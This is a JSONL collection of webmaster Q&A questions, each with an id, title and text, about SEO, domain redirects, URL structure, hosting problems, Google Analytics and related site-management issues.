{"id":"49717","title":"The effect in Google of the word \"the\" in a URL?","text":"Keywords in your URL are extremely weighted, and I am aware of most bad practices, but the question as to whether the word \"the\" in a URL, as in `www.thewebdesigner.com`, is a bad idea or not is very hard to find information on. Searching has yielded next to nothing because the definite article is a special case in search algorithms. That is, you end up searching for the word \"the\" which is a bit too random. I'm wondering if this is a good idea, because as in the example case, \"web\" and \"designer\" together in a URL would theoretically be a fantastic step in solid SEO. However, if Google somehow reads it as a stop word or treats it differently, it might not be so smart. Can anyone tell me the effect of \"the\" at the start of a URL like `thewebdesigner.com`, and if this is good or bad practice, and a good or bad idea for a quality URL?"}
{"id":"49714","title":"How to maintain and optimize SEO for multiple store locations with individual websites as subdirectories from a main landing page?","text":"My question is how to maintain and optimize SEO when moving a site from the domain root to a subfolder, creating a second parallel subfolder, and having the domain root be a landing page that allows users to choose between the two subfolders. Hopefully a (fake) example will illustrate my question best. Imagine the website for a small local business that serves its surrounding neighborhood -- let's call it ACME Cleaners of Crown Heights. Crown Heights is the neighborhood. The URL is `www.acmecleaners.com`. This site has good SEO and does well for searches looking the cleaning services in the Crown Heights area. Now the business has expanded to a second location in a different neighborhood in the same city, let's call it East End. The new location is called ACME Cleaners of East End. As for the website, the homepage, `www.acmecleaners.com`, which used to be the homepage for the Crown Heights location, has been changed to a landing page that simply shows the ACME Cleaners logo and gives the user a choice between the two locations. The user is then taken to either `www.acmecleaners.com\/crown-heights` or `www.acmecleaners.com\/east-end`, which are individual WordPress sites for each location. The location is saved in a cookie and users are redirected to the individual location site next time they visit `www.acmecleaners.com` (with a 302 status code thanks to PHP's `header` function with the \"location:\" parameter). Specific questions: 1. What should I keep in mind to maintain the strong SEO that the Crown Heights location had now that its site is moving from `www.acmecleaners.com` to `www.acmecleaners.com\/crown-heights`? 2. Specifically, how do I \"tell\" Google that the right URL for searches for \"cleaning in Crown Heights\" is now `www.acmecleaners.com\/crown-heights`, not the domain root? 3. Likewise, what do I do to get searches for \"cleaning services in East End\" to show `www.acmecleaners.com\/east-end`? Interestingly, without me doing anything, this search is already generating first-page results for pages within the subfolder, e.g. `www.acmecleaners.com\/east-end\/about-us`, but not for the location \"homepage\" which is simply `www.acmecleaners.com\/east-end`. 4. What SEO should I do for the new landing page at `www.acmecleaners.com` to support good SEO for both store locations\/website subfolders? 5. Any other do's and don't do's in this situation?"}
{"id":"54468","title":"How to set preferred URL in Bing Webmaster Tools","text":"My site is `www.example.com` and Bing Webmaster Tools keeping telling me to submit a sitemap for `example.com`, so it is possible to stop Bing stop bothering me the `example.com`?"}
{"id":"48264","title":"Database for student Portal(A school website)","text":"I am presently working on a school website, it is going to have student portal in it. Please, i need idea on how you think the database structure will look like. Its a university web, students are in different departments under different faculties. The students will also be offering different courses based on their department."}
{"id":"8243","title":"Is it important to show the current year alongside my (c) Copyright symbol?","text":"Should I update the copyright notice every January? as in > (C) ACME Corp 2011 I'm not asking about how or whether to claim copyright at all (that is dealt with here), but whether the **year** has any importance."}
{"id":"3777","title":"Will having multiple domains improve my seo?","text":"Lets say I have a domain already, for example www.automobile4u.com (not mine), with a website fully running and all. The title of my \"Website\" says: <title>Used cars - buy and sell your used cars here<\/title> Also, lets say I have fully SEO the website so when people searching for the term **buy used cars** , I end up on the second or first page. Now, I want to end up higher, so I go to the google adwords page where you can check how many searches are made on specific terms. Lets say the term \"used cars\" has 20 million searches each month. Here comes the question, could I just go and buy that domain with the search terms adress, in this case **www.usedcars.com** and make a redirect to my original page, and this way when people search for \"used cars\", my newly bought domain name comes up redirecting people to my original website (www.automobile4u.com)? The reason I believe this benefits me is because it seems search engines first of all check website adresses matching the search, so the query \"used cars\" would automatically bring www.usedcars.com to the first result right? What are the downsides for this? I already know about google spiders not liking redirects, but there are many methods of redirecting... Is this a good idea generally?"}
{"id":"12592","title":"How does SEO work when redirecting to a different site\/domain","text":"> **Possible Duplicate:** > Could I buy a domain name to increase traffic to my site like this? I have a site (e.g. www.foo.bar). When someone attempts to browse this site, they are redirected to a different site (e.g. www.test.com). I only reason of having foo.bar is because of the domain name. test.com is a 3rd party. I want people to come to foo.bar, so I can market on the domain name. If I am selling parts (e.g. Ford car parts). I want to configure SEO so that my domain name and \"Ford car parts\" are associated. The intention is when someone googles \"foo.bar\" and \"Ford car parts\" search engines start ranking my site\/domain. foo.bar isnt the site housing the sale of the parts....the 3rd party is, but I would like to SEO woo.foo.bar if possible to accomplish my intention. Is what I am looking to do possible?"}
{"id":"57052","title":"Domain Extensions - redirect from .com or .org to country side domain like .am","text":"i was wondering one thing. Actually `.com` and all generic domain extensions specifies that the site is available for all countries while country side domain extensions like `.fm .mx or .sh` specifies to search engines that your site is developed for that specific country, What if i buy 2 domains like `thisismysite.org` and `site.am` and then i redirect `thisismysite.org` to `site.am` , will `site.am` be treated like a a general domain extension then? OR i'll need anyway a generic domain to say to search engines that my site is generic all country sides available?"}
{"id":"60166","title":"2 domain pointing to single website with different meta description and title in SERP","text":"Let's say I have one website `abc.com.my`, and now I want to create a new domain `xyz.my` but with its own meta description and meta title which points to `abc.com.my`. So I need to create one `index.html` inside the `xyz.my` domain then redirect to `abc.com.my`. So in SERP I hope to see `xyz.my` with its own meta description and meta title and `abc.com.my` with a different meta description and title but both point to `abc.com.my`. So will this affect my ranking or is it bad for SEO? "}
{"id":"30929","title":"Is a good technique to buy abandoned domains to get link juice?","text":"> **Possible Duplicate:** > Could I buy a domain name to increase traffic to my site like this? Yesterday I was discussing with a friend an idea he had. To promote your site about, for example, fashion (i.e. example.com), the idea is: 1. Find an expired domain (i.e. fashionsite.com) with a good amount of links from fashion websites (it is, a site that has been abandoned, but still keep a lot of inbound links). 2. Recreate the site structure (i.e. if you have inbound link that points to fashionsite.com\/files\/boots.html, you have to add a page that responds to this structure). 3. Add links from your new site (fashionsite.com) to the old one you want to promote (example.com) in order to give the link juice to your site. 4. Goto 1 until you cannot find more expired domains related to your site topic. This is a non-trivial process that could take a lot of time, so the question is: worth it? has anybody tried something like this? In fact, maybe that's a well known technique my friend and I didn't hear about it... Definitely I believe we haven't discovered a new technique :) NOTE: I've forget to explain that this idea is specifically to improve a site link building for Google, we are not interested in other search engines by the moment."}
{"id":"19386","title":"Keywords in domain name","text":"> **Possible Duplicate:** > Could I buy a domain name to increase traffic to my site like this? Let's assume we have a generic website \" **MyWebsiteAboutGamesAndThings.com** \". We discover that a lot of people are searching for \" **Make games** \". We find that the domain name **MakeGames.com** is free so we register it with the assumption that a keyword specific domain such as this will rank favorably for the search term we have discovered. We now have two options with the domain name: * We can 301 redirect **MakeGames.com** to **MyWebsiteAboutGamesAndThings.com** * Or we can make a simple webpage on it that intends to feed visitors to **MyWebsiteAboutGamesAndThings.com**. The reason for registering **MakeGames.com** was to target that specific search, however I have a feeling that you lose the benefit of the keywords in the domain by 301ing it. Is it better to make a sort of landing website for **MakeGames.com**? If you 301 the domain to **MyWebsiteAboutGamesAndThings.com** will it now rank better for the search **Make games**? Which is a better method?"}
{"id":"25367","title":"Add-on domain for better SEO","text":"> **Possible Duplicate:** > Could I buy a domain name to increase traffic to my site like this? So here's the thing. Suppose I have my domain called BUSINESS.COM that sells shoes. Now, I want people to find me through Google by searching \"best shoes\". So on my BUSINESS.COM site I will set all meta descriptions and titles to have a relationship with the keyword \"best shoes\". I was wondering, is there any way I can buy also the domain BEST-SHOES.COM and make it an add-on domain to my hosting and redirect it to NIKE.COM to improve SEO? I mean so when someone searches in Google for best shoes, my site will appear first because it has those keywords on the url. Or the only way to improve SEO is to make another website with no duplicate content in BEST-SHOES.COM that links very lightly to my site NIKE.COM? Like a site that reviews shoes."}
{"id":"39412","title":"What is the best way to use multiple similar domains for a single business with SEO aspects?","text":"> **Possible Duplicate:** > Will having multiple domains improve my seo? **Scenario:** There are around 15 freshly registered domains. All the domains are intended to support a single business activity. **Example:** * something-useful.com * something-extraordinary-useful.com * extraordinary-useful-something.com * useful-something.com * etc... What will be the best approach to use these domains to get benefit of SEO? Or to promote the business online? What are the possible approaches to use these domains?"}
{"id":"47709","title":"Multiple domains","text":"I got 6 domains : `company.ca` and `company.com` (because both where free, but we are a canadian company but can do business with the rest of the world). Then, we sell sportwear because of the company name is totally unknown to the world. Our product is we have bought product specific domain : `chandails.ca` and `t-shirt.ca` as well as `shorts.ca` and `shorts.com`. So those 6 domains are mine. Now what is the best way to do? Now all are 301 redirect to the main company name (`.com`) or make micro-site, super simple one page optimized for just shirt and one for shorts, then tell people to know more, go to the _main_ site. Because now, I cannot really find the benefit of the _search word in domain name_ edge if never somebody see something in that domain... I got confused and don't find strait answer to this question."}
{"id":"59005","title":"Does SEO ranking based on domain apply to domains with forwarding?","text":"Lets say I have a site at \"myrandomdomain.com\". I want to target a keyword \"my keyword\" and so I buy \"mykeyword.com\". Can I still have the keyword benefits of having mykeyword.com when it just forwards to myrandomdomain.com? The domain would not be masked. My guess would have been no but SEO Moz seems a bit unclear about it: > A 301 redirect is a permanent redirect which passes between 90-99% of link > juice (ranking power) to the redirected page. I'd just like to make sure before I switch my site over. If it would have the same effect to forward it I'll just do that."}
{"id":"24026","title":"Will having multiple domains with redirects to my main domain have an impact on search rankings?","text":"> **Possible Duplicate:** > Could I buy a domain name to increase traffic to my site like this? If I register 10 or so related domain names and 301-redirect them all to appropriate pages within my website will this hurt or help google ratings? Or will it be a neutral event? For example if I operated a daycare center would it be wise to purchase bostonchildcare.com, bostondaycare.com and bostonpreschool.com and then 301 redirect them to all to appropriate pages on my site? Thanks for your help with this!"}
{"id":"50680","title":"Is it bad for SEO to forward multiple top level domains to just one domain?","text":"For example, I registered `myName.com` and I also registered the `.net`, `.info`, and `.org` extensions for `myName`. I'm wondering if it will hurt my SEO to forward these other TLDs to `myName.com`?"}
{"id":"49712","title":"Is it okay to redirect all mobile users to a mobile coming soon page?","text":"I recently read this article on google webmasters blog which said that we should avoid redirection of users on mobile to one single page as it interrupts their flow. Now I have a site on which I have a mobile coming soon page to which a user is redirected the first time he\/she visits the site. Once a user clicks \"view web version\" on this page a cookie is set and he\/she is taken to the homepage. Now if the user comes again on my site he\/she would be taken to that respective page and wouldn't be redirected. Can this have SEO penalties? I am not interrupting the user-flow every-time and hence should I bother much? Should I scrap this all together or alternatively I could redirect the user to the page they came to when they click \"view web version\" instead of the homepage?"}
{"id":"374","title":"URLs: Should I use hyphens, underscores or plus symbols?","text":"**Which is better for search engines?** 1. `example.com\/my_cool_page.html` 2. `example.com\/my-cool-page.html` 3. `example.com\/my+cool+page.html`"}
{"id":"49958","title":"URL encoding - what difference to SEO? + or _ or -","text":"I have a URL e.g.: http:\/\/mysite.com\/tracks\/backing-track\/101153\/ABBA\/Super+Trouper **QUESTION** does it make a difference to SEO when using `+` or `-` or `_` in the URL between words? Is one more readable and indexable than the others?"}
{"id":"11773","title":"SEO - File naming","text":"> **Possible Duplicate:** > Should I use hyphens or underscores? Hi For the file name \"mission-and-vision.htm\" or \"mission_and_vision.htm\", which one is good for SEO(separator \"-\" or \"_\")? Thanks"}
{"id":"20206","title":"How To Track Down and Stop Rogue Bots?","text":"**Most of the bandwidth of one site is being consumed by an unidentified bot**. According to AWSTATS it says: Unknown robot (identified by 'bot*') consumed 164 GB this month. By comparison, Googlebot consumed 10 GB and visitors (viewed traffic) consumed 25 GB. This means rogue bots are consumming over 6X the bandwidth of visitors. For other sites which I run (about a dozen) the **normal ratio is 25%** , so for 25GB of viewed traffic, bots take about 6GB in TOTAL. The question therefore is: **How to identify which bot(s) are causing this huge amount of request and how to stop them or slow them down if they are useful?** Obviously, most bots that visit the site are important including the Googlebot, Yahoo Slurp, MSNBot, etc, including the AdSense\/DoubleClick bots, so I cannot simply block all bots. _The reason I am investigating this is that I am reaching the limit of bandwidth and exceeded CPU usage for my host, so I was sent a notice._"}
{"id":"20255","title":"Moving a Domain Away from Google Sites but Not Apps","text":"First, I looked for a question like this but couldn't find one. There's a lot of people who want to move a domain to point at google sites - I actually want to move it away from google sites and point it at a hosted server. I was able to figure out how to do this but then it broke my client's calendar and email. I created matching email accounts on the new server but it doesn't fix his contact list and calendar stuff which use to be synced with google. So my question is: can I move a domain away from google sites and point it at a hosted website without breaking the email and calendar? If the answer is no then we could always use two separate domains: one for email\/calendar and one for website, but that doesn't seem like the perfect solution since really his email should be at the same domain as his website. Will he just need to use a different address to sync his calendar and contacts? I appreciate any help. Thanks!"}
{"id":"14031","title":"One page website - Effect on SEO","text":"I'm considering re-designing my personal website to promote my web services in my local area. My issue is whether to do a one page website with a scroll-to navigation system. What effect does this have on SEO. As i understand it, you set stuff like h1's and meta description on specific page content. How does this work when all of your different content is on one page?"}
{"id":"34774","title":"What about SEO in one page website with ajax loaded content?","text":"> **Possible Duplicate:** > One page portfolio - Effect on SEO As my title I'd like to build a website with just one input text for searching restaurants and I would like to load via ajax in the same page the resultst in a list. After the list is loaded if you click on one row for Restaurant details it load via ajax all the Restaurant details. what about SEO in a website structure like this? There is a way to index every single restaurant? I'm pretty new in SEO and every comment will be for sure important to me in order to understand and learn more about it. Cheers"}
{"id":"56953","title":"SEO best practices for one page websites?","text":"I build many one page websites that dynamically load content through AJAX\/jQuery. I keep reading how bad one pagers are for SEO. Regardless, how can you get the most SEO results out of a one page website, without splitting it up into multiple pages?"}
{"id":"8487","title":"How to Remove URLs from Google Search Engine","text":"I have used so many things like url removal request and deleted the pages etc., but still the errors are shown in my webmaster tools. How can I remove the urls completely from Google?"}
{"id":"32289","title":"Remove internal sub domain duplicate content on Google","text":"> **Possible Duplicate:** > How to Remove URLs from Google Search Engine _Our hosting provider has a internal sub domain like so:_ `n265-269-265-265.cnet.hosting.iiii`. The internal sub domain is redirected to our registered domain and is publicly available. Google indexed the internal domain content and now it is appearing on search pages. We'd like it if Google removed the internal sub domain content and we would like to setup a redirect to the main domain. Our hosting provider is actually a sub-provider and as far as we know it does not fully control the main hosting domain and I am stuck in a discussion with them about what can be done. I would like a solution to this issue."}
{"id":"60612","title":"how to remove the old urls from google search and replace new urls?","text":"I know this question has been asked here, and here before , But I have problem with answers, so here is mine : I have changed my urls structure ( not my domain ), and I want google to **remove** the old urls and replace the new ones, and I can't make redirection because I dont know what is it exactly ( its very dynamic ), How can I do this ?"}
{"id":"29760","title":"How many visitors block adverts?","text":"On average, what percentage of visitors block adverts, for example by running AdBlock? (The average obviously depends on the population, which is worth specifying, but any answer's better than none...)"}
{"id":"44429","title":"How to handle multiple pages of the same site with the same outlinks","text":"I am developing a back link tool for Chinese SEO (our web site URL is: > `http:\/\/link.aizhan.com` just like ahrefs.com. I encountered a problem which is how to handle multiple pages of the same site with the same out links. For example: Most pages of `bbs.chinaz.com` have the same out links such as: bbs.chinaz.com\/Tea\/thread-6293993-1-1.html bbs.chinaz.com\/Tea\/list-1.html bbs.chinaz.com\/alimama\/thread-6265032-1-1.html bbs.chinaz.com\/alimama\/thread-6265032-2-1.html?userid=-1&extParms= bbs.chinaz.com\/Shuiba\/list-1.html bbs.chinaz.com\/FeedBack\/thread-4456753-1-1.html etc.. All of the pages have the same out links in the top of the page: www.cnzz.com(anchor text:免费统计) www.313.com(建站大师) www.idc123.com（主机之家） Suppose I store these outlinks into database. The SEO will find there are six backlinks from `bbs.chinaz.com` of `www.cnzz.com`. This is obviously no sense for the SEO. Can you tell me how do you deal with this problem?"}
{"id":"22540","title":"SEO and URL Shorteners","text":"When you have a link from lets say twitter that is `t.co\/foo` that links back to your website how does that effect SEO and how do the major search engines handle Shortened URLs?"}
{"id":"59417","title":"Do URL sortneres make an impact on search engine rankings?","text":"Can anyone explain me what does the following mean (from thesearchenginepros): The best URL shorteners will use a 301 redirect to pass along their Google page rank to the destination web address. This helps the redirected web address advance in search rankings. I was going through the advantages of shortened url, when I came across this."}
{"id":"66914","title":"Do short URLs like goo.gl, bitly etc. affect your website ranking?","text":"I need to know whether using short URLs to back-link to pages affects your website ranking in the Google search results."}
{"id":"65031","title":"Adding a new site to a Google Custom Search Engine gives fewer hits","text":"I have a Google Custom Search Engine (CSE) with one \"site\". Adding a second site gives me fewer hits. Removing the second site gives me back the hits I had with only one site. What is going on there? I add the sites with XML to be sure of what I am doing, like below: <Annotations> <Annotation about=\"site1url\" score=\"1\"> <Label name=\"_cse_MYID\" \/> <\/Annotation> <Annotation about=\"site2url\" score=\"1\"> <Label name=\"_cse_MYID\" \/> <\/Annotation> <\/Annotations> **UPDATE: Here are instructions for anyone who wants to test:** 1. Add these two sites to a new custom search engine (https:\/\/www.google.com\/cse\/): www.zotero.org\/groups\/from_some_psychologists\/items\/itemKey\/* www.zotero.org\/groups\/minding_my_mitochondria_terry_wahls\/items\/itemKey\/* 2. Search for `food` (you will get 2 hits) 3. Now delete the first site from the custom search engine. 4. Search for `food` again (you will now get 19 hits) **UPDATE 2:** I posted the question also to Google Product Forums > Google Custom Search: https:\/\/productforums.google.com\/forum\/#!category-topic\/customsearch\/indexing- and-results\/8Qs60jdiFZQ **UPDATE 3:** I previously thought that the hits when having both sites were always only from the second site. That was wrong (so I removed the part saying so)."}
{"id":"1173","title":"What type of websites shouldn't use a cache?","text":"Is there ever a time when you should use caching? Like for frequently updated pages? Or, should you always cache? Please give examples and reason?"}
{"id":"1171","title":"Transferring site from one server to another - good tools?","text":"I'm not a webmaster - I'm a generalist with a strong bias towards development of applications and databases, but currently I'm helping a client I've consulted with before, and they want to move some files from one hosting provider to another. They are moving more and more stuff to cloud hosting to be able to handle scalability - they get a lot of hits when big events happen and people want their data. Their regular web guy has kind of flaked out on them. All static content (data files, reports, etc), might need to translate some links, add some Google analytics, etc. But what is a good tool for performing the transfer initially - to sync up the new site to the old site. before fixing up the broken links etc? I'm pretty sure they'll get me FTP access to the old and new sites. Either Mac or PC, whatever's best."}
{"id":"22959","title":"What could be preventing Google Chrome developer tools' audit from completing?","text":"I'm trying to run Chrome developer tools' audit on http:\/\/www.zmxmusic.com, and it never completes... just gets up to about \"Loading (61 of 61)\" with the spinner but never shows the results. If I check the Network tab, there are no requests pending; all requests are complete and without errors. Audit works fine on other sites. **EDIT** Added actual site URL."}
{"id":"47212","title":"Server won't respond to customer - Wordpress site \/ Hostgator - high volume","text":"I've got a customer using WordPress. They have been using it for years. It's a school where the kids get on each day and hit the site A LOT. Suddenly, in the last 3 days they get NOTHING back from the server (this ONLY occurs from within the school). If we do a `tracert`, we get out and seemingly get to the server. But if I look at network traffic on Chrome -- I never receive a response. This same thing happens on IE and FF. A look at CPanel shows that no IPs are being blocked. I've never done IP blocking so am not sure if this is what one who is blocked would even expect to see. We are a reseller for Hostgator... I wonder if something higher up the chain (maybe on their end) is causing this. I've got a ticket in with them. THIS JUST IN: I found out that the customer can reach the site when they skip their firewall... this leads me to believe that it HAS to be their firewall (even if their firewall provider says it's not)."}
{"id":"48028","title":"Multiple webpages with the same page titles\/meta-tags","text":"I have created several duplicate pages because my website is in 3 languages (yes I know this is bad way to achieve this). Will Google flag my site as spam if I use duplicate page titles\/meta keywords? Or would other problems develop?"}
{"id":"38442","title":"Set secondary receiver in PayPal Chained Payment after the initial transaction","text":"I'm running a service whereby customers seek the services of 'freelancers' through our web platform. The customer will make a 'bid' which is immediately taken from their accounts as security. Once the job is completed, the customer marks it as accepted and the bid gets distributed to the freelancer(s) as a reward. After initially storing these rewards in the accounts of the freelancers and relying on MassPay to sort out paying them later, I realised that your business needs to be turning over at least £5000\/month before MassPay is switched on. Instead, I was referred to Delayed Chained Payments in PayPal's Adaptive Payments API. This allows the customer to pay the primary receiver (my business) before the payment is later triggered to be sent to the secondary receivers (the freelancers). However, at the time that the customer initiates this transaction, you must understand that nobody yet knows who will receive the reward. So, before I program this whole Adaptive Payments system, is it even _possible_ to change or add the secondary receivers after the customer has paid? If not, what can I do?"}
{"id":"64889","title":"How to make google index press releases or new items as they are released","text":"I have noticed that several website news items are indexed immediately by Google. Even questions posted on stackexchange.com are indexed by Google within minutes. Can someone tell me how i can do that with the website which has frequent news items on website. How can i achieve this with otherwise with has frequent news or press releases posted."}
{"id":"27611","title":"Google Analytics site search","text":"I am trying to enable the internal site seach tracking with Google Analytics. So at analytics page, account `mysite.com`: Profile Settings => Site Search Settings, do track enabled. At my site when someone make a search for test, URL looks like: `mysite.com\/search?keyword=test`. At the query parameter I added `search?keyword=` but I haven't seen any results so far, any idea how to fix this?"}
{"id":"59039","title":"Chrome fails to view a html file","text":"I have set up a website which is visible from FF but not from Safari nor Chrome. I thought it is because of faulty WordPress install but obviously it is not because I have added a test.html in the root, FF views it but Chrome gives an error. Never happened before, tried Google but found generally app or html problems causing the issue."}
{"id":"39591","title":"Pull Google Analytics source info into email","text":"I am trying to find out whether it is possible to pull Google Analytics source info (direct\/organic\/referrer etc) and include that in the email that is sent to us when someone enquires on our website. We have a large account management team for an incredibly high average order value product, currently when someone makes an enquiry on our website, an email is sent to all our account managers with the contact details of that person for them to follow up accordingly - there is no automatic integration into our CRM system. To minimize the margin for human error (and having to ask each prospective client where they heard of us) I'd like to include as much of the source information as possible in the email that is sent to our account managers. Is this possible? If you have experience and are willing to take this on as a project please send me a private message."}
{"id":"59032","title":"Does image mime-type affect SEO?","text":"I have uploaded images as mime-type application\/octet-stream, they are served well if sourced from an image tag but Chrome for example cannot open them directly, always asks for download. The question is, does the wrong mime-type affect findability and SEO?"}
{"id":"59033","title":"Async Adsense Ads works with Ajax, But is it against TOS","text":"Google's Async adsense code loads fine even the page is loaded via ajax. I made no changes to load the ads differently. Just added https:\/\/github.com\/browserstate\/ajaxify on my site to make the content loading ajaxified. My adsense loads fine also. Does it violate any TOS."}
{"id":"59030","title":"Is there anything I can do if I found someone copying my content and spreading on FB\/Twitter?","text":"I made a website and it somehow became very popular last year. Then later today I found someone just stole my content and spread it in Twitter and Facebook. And many users are sharing that fake website. I am very upset but I don't know what to do. I reported to Google but even if Google removes it, it's still spreading on Facebook & Twitter. Is it possible to contact Twitter & Facebook to stop this? Thanks!"}
{"id":"65175","title":"Hiding duplicate content - should I use meta tags or robots.txt?","text":"Last week my site was utterly pummeled in Google's rankings - losing 95% of impressions overnight according to Google Webmaster Tools. It now only shows up if you search for the URL\/site name itself. I've not engaged in any shady link-building (or indeed any link-building at all!) and the site is technically fine (fast pages, no malware, fully responsive). So my first guess is that I'm being penalized for duplicate content. Although there's a huge amount of rich content on the site, there's also a lot of algorithmically-generated pages - for example, one for each town in the UK. (This isn't done for SEO, but I guess maybe Google thinks it is.) So I need to stop Googlebot finding, and objecting to, this content. I would rather do it via a meta tag (`<meta name=\"googlebot\" content=\"noindex\" \/>`) on the relevant pages than with using _robots.txt_. So my question are: * Is a meta tag a workable alternative to using _robots.txt_ for hiding \"problematic\" content? * Is there anything else I should be doing?"}
{"id":"46753","title":"How to change a URL using .htaccess","text":"I don't know anything about coding, but I really want to change the URL of my pages: * `site\/data\/9\/Symbian-3rd-Apps.html` to `site\/symbian_applications.html` * `site\/data\/file\/352\/Core-Video-Player-Symbian-3rd--sisx.html` to `site\/Core-Video-Player-Symbian-3rd--sisx.html`"}
{"id":"29105","title":"Using style.less from lesscss.org doesn't properly show changes I make to the style.less file?","text":"I inherited a wordpress project that was initially developed by another developer and for the CSS they utilize the script from: http:\/\/lesscss.org (which so far seems to not only be overkill but horrible if the user doesn't have javascript enabled on their browser) My guess is that it is caching but even in safari if I disable Cache, it doesn't update with my changes. Safari loaded with some changes, but when I made more changes it only shows the same time from the first page view. Same thing in firefox except firefox doesn't show any of the new changes. This only applies to css changes made in the style.less file. If I make any changing to the html code then every loads correctly. I even tried appending #!watch’ to the url like the web page said, but still no luck. Any idea on what I can do to make the changes load correctly?"}
{"id":"22950","title":"Customer Report Google Analytics","text":"Is it possible to have a custom report per minute for Google Analytics? So far I have found that it is possible to have a report per hour."}
{"id":"12830","title":"Infinite redirect loop in cPanel-purchased script","text":"I am installing a script (that I bought on cPanel) in the root directory of my web site. When I try to install it, it gives me an error. I found that it starts an infinite URL redirect loop containing the name of my web site. Something like: `install\/\/mywebsite.com\/install=mywebsite.com\/install=mywebsite.com\/install=mywebsite.com` etc. until the browser refuses to continue when URL gets too long. The vendor told me I need to have *mod_rewrite* installed on my cPanel and something about _.htaccess_. How do I do fix this?"}
{"id":"8018","title":"Whois status \"pending delete\" with expiration date in November 2011?","text":"A friend of mine is in the process of being scammed by a domain registrar and I am trying to sort out the mess. However I could use a hand understanding some of the details. He paid for 2 years of domain name registration on 6 november 2009. The whois record reads: Domain ID:XXXXXXXXXX Domain Name:XXXXXXXXX.ORG Created On:06-Nov-2009 09:23:12 UTC Last Updated On:17-Dec-2010 00:15:10 UTC Expiration Date:06-Nov-2011 09:23:12 UTC Sponsoring Registrar:OnlineNIC Inc. (R64-LROR) Status:CLIENT TRANSFER PROHIBITED Status:HOLD Status:PENDING DELETE SCHEDULED FOR RELEASE Registrant ID:ONLC-XXXXXXX-X Registrant Name:My friend's name ... Registrant Email:Old email The registrar charged a renewal fee a week ago and is now asking an extra $150 to \"reclaim\" the domain name, even though the domain name is apparently still in my friend's name and it looks like there is still another 10 months before the expiry date. The expiration date on the WhoIs record looks right (Nov 2011), so I don't understand why the domain status says \"PENDING DELETE SCHEDULED FOR RELEASE\". Can someone explain me better what the deal is and explain what I need to do get the domain name transfered to a more honest registrar? I already have a registrar for my own domain names, been using them for 10 years without problems, so I know where to transfer the domain names to, I just don't know how to proceed."}
{"id":"8017","title":"web designers icon avatars?","text":"Anybody know how these are made. I see them a lot, mostly web designers have them. Are they hand made in psd or illustrator or is there a web service that converts real photos? "}
{"id":"8016","title":"Why Google not ranking my websites..?","text":"Please observe http:\/\/www.panbeli.in and http:\/\/www.softwaregenius.net Why is this site does not get ranked by Google Spider? It has been grayed in Google Tool Bar for a while. Google has the knowledge of it. You can search for http:\/\/www.panbeli.in and http:\/\/www.softwaregenius.net and you will see the both websites in google search,yahoo search,bing search, you found that we have lots of backlinks also ,http:\/\/www.panbeli.in alexa rank is 695,295 and http:\/\/www.softwaregenius.net alexa rank is 994,219. we have also created Blogs\/News\/Classified\/google ADsence\/press relese etc to increase the rang for http:\/\/www.panbeli.in and http:\/\/www.softwaregenius.net websites. When i check my SEO statistics using different SEO tools, it shows Google backlink is zero. however, Google just does not want to rank it. Can you tell me why? Why is it penalized? I have tried to do my best to clean it. Your kind reply is appreciated. Thanks and Regards Irfan"}
{"id":"34556","title":"E-commerce + CMS: 2 sites or one?","text":"Ok, let's say that a customer already has a CMS managed web site but now wants to sell goods online using an E-commerce platform (Magento in this case). My question is, does it make any difference between choosing to have just one site running both CMS and E-commerce (`www.mycompany.com`), or to have one site for the CMS (`www.mycompany.com`) and another (`www.mycompany-shop.com`) for E-commerce? I'd like to know the pros and cons of these approaches, so that I can advise the customer for the best. --EDIT I forgot to say that I'd prefer to have 2 separate web sites. This way I wouldn't have to learn how to integrate them together (one in Python, the other in PHP)."}
{"id":"8011","title":"Payment Gateway options other than Paypal, for sending out mass payments","text":"We were using Paypal Payment pro earlier for the same thing, but for some reason Paypal has been given some new guideline which kinda hinder with the way we need to send out payments at the moment. We receive payments from clients and then send out payments back to vendors on a weekly basis ( deducting our cut ). Can you let me know what options are available to for such transactions other than paypal ? which is the best in terms cost of setup etc. Thanks"}
{"id":"7456","title":"Service and\/or tool to monitor performance?","text":"I am seeing wildly different performance from a clients web site, and would like to set up some sort of monitoring. What I'm looking for is a service that will issue requests to a couple of URLs, and report on the time it took to process the page - TTFB and time to download the entire page - that means I need something that will process javascript & css. Are there services like this? I've seen a few that monitor uptime, but they don't seem to report on the overall page performance."}
{"id":"52434","title":"How do I point my domain to my website\/ip adress","text":"I havve recently set up a website, I've forwarded it to my Ip and I'm able to access it. However I have also bought a domain which I would like to use for my website which I host through my own pc using xampp. From what I understand I would need to create a dns server, but do still not understand how to do it. So my question is, How do I point my newly bought domain to my website which is being hosted using xampp? Thanks"}
{"id":"44930","title":"Don't $_GET value on link rewrite with .htaccess","text":"I config enable htaccess on my server (i enable mod_rewrite and do like this: http:\/\/stackoverflow.com\/questions\/11064005\/enable-htacess-error-on- ubuntu-12-04-with-apache2) But on localhost is run echo $_GET value php : http:\/\/oseeyou.com\/test\/on- localhost.png and on server don't run: http:\/\/oseeyou.com\/test\/on-server.png I don't understand this, may help me. Thank."}
{"id":"7450","title":"Domains with similar names and issues","text":"I recently purchased one of those domain names like del.icio.us. While registering I found that delicious.com was being used. **Argument:** I found that delicious.com belonged to the same category as my to-be website. It served premium delicious dishes. **Counter Argument:** My to-be domain though belonging to the same category, specialized in serving free but delicious dishes or in giving out links(affiliate) to other sites serving premium delicious dishes. **Additional Counter Arguments:** 1.delicious.com was not in English. 2.the del.icio.us in my domain name though having the same spelling, is not going to be used in the same fashion. For eg.(this may not make sense, because the names have been changed)the d in delicious on my website actually stands for the greek letter Delta(Δ\/δ) and since internationalized domains are still not easily typable, I am going for the english equivalent.The prefix holds importance for the theme of the service which my website intends to offer. **My Question:** Can I use the domain name del.icio.us for my website? How are these kinds of matters dealt? (The domain names used are fictitious. And I have already registered the domain but have not started using it.I chanced upon this domain name because it was short, easy to remember and suited the theme of my website) Update: Can I use the domain name for an unrelated service. I have no wish to trample their rights. Update: Are there any real life examples of similar name use in different fields without the companies fighting it out? The domain name is pretty generic."}
{"id":"18881","title":"How to recover a website from google cache?","text":"My host provider told me last night their server crashed and they had restored the website from from an image they had from months ago, They told me this is the only backup they have. I also have no backup, as my backup server crashed few days ago. Through google cache I can see all the website as it was few days ago. Is it possible to recover my website using google cache or is there any tool which help me to recover? Thanks,"}
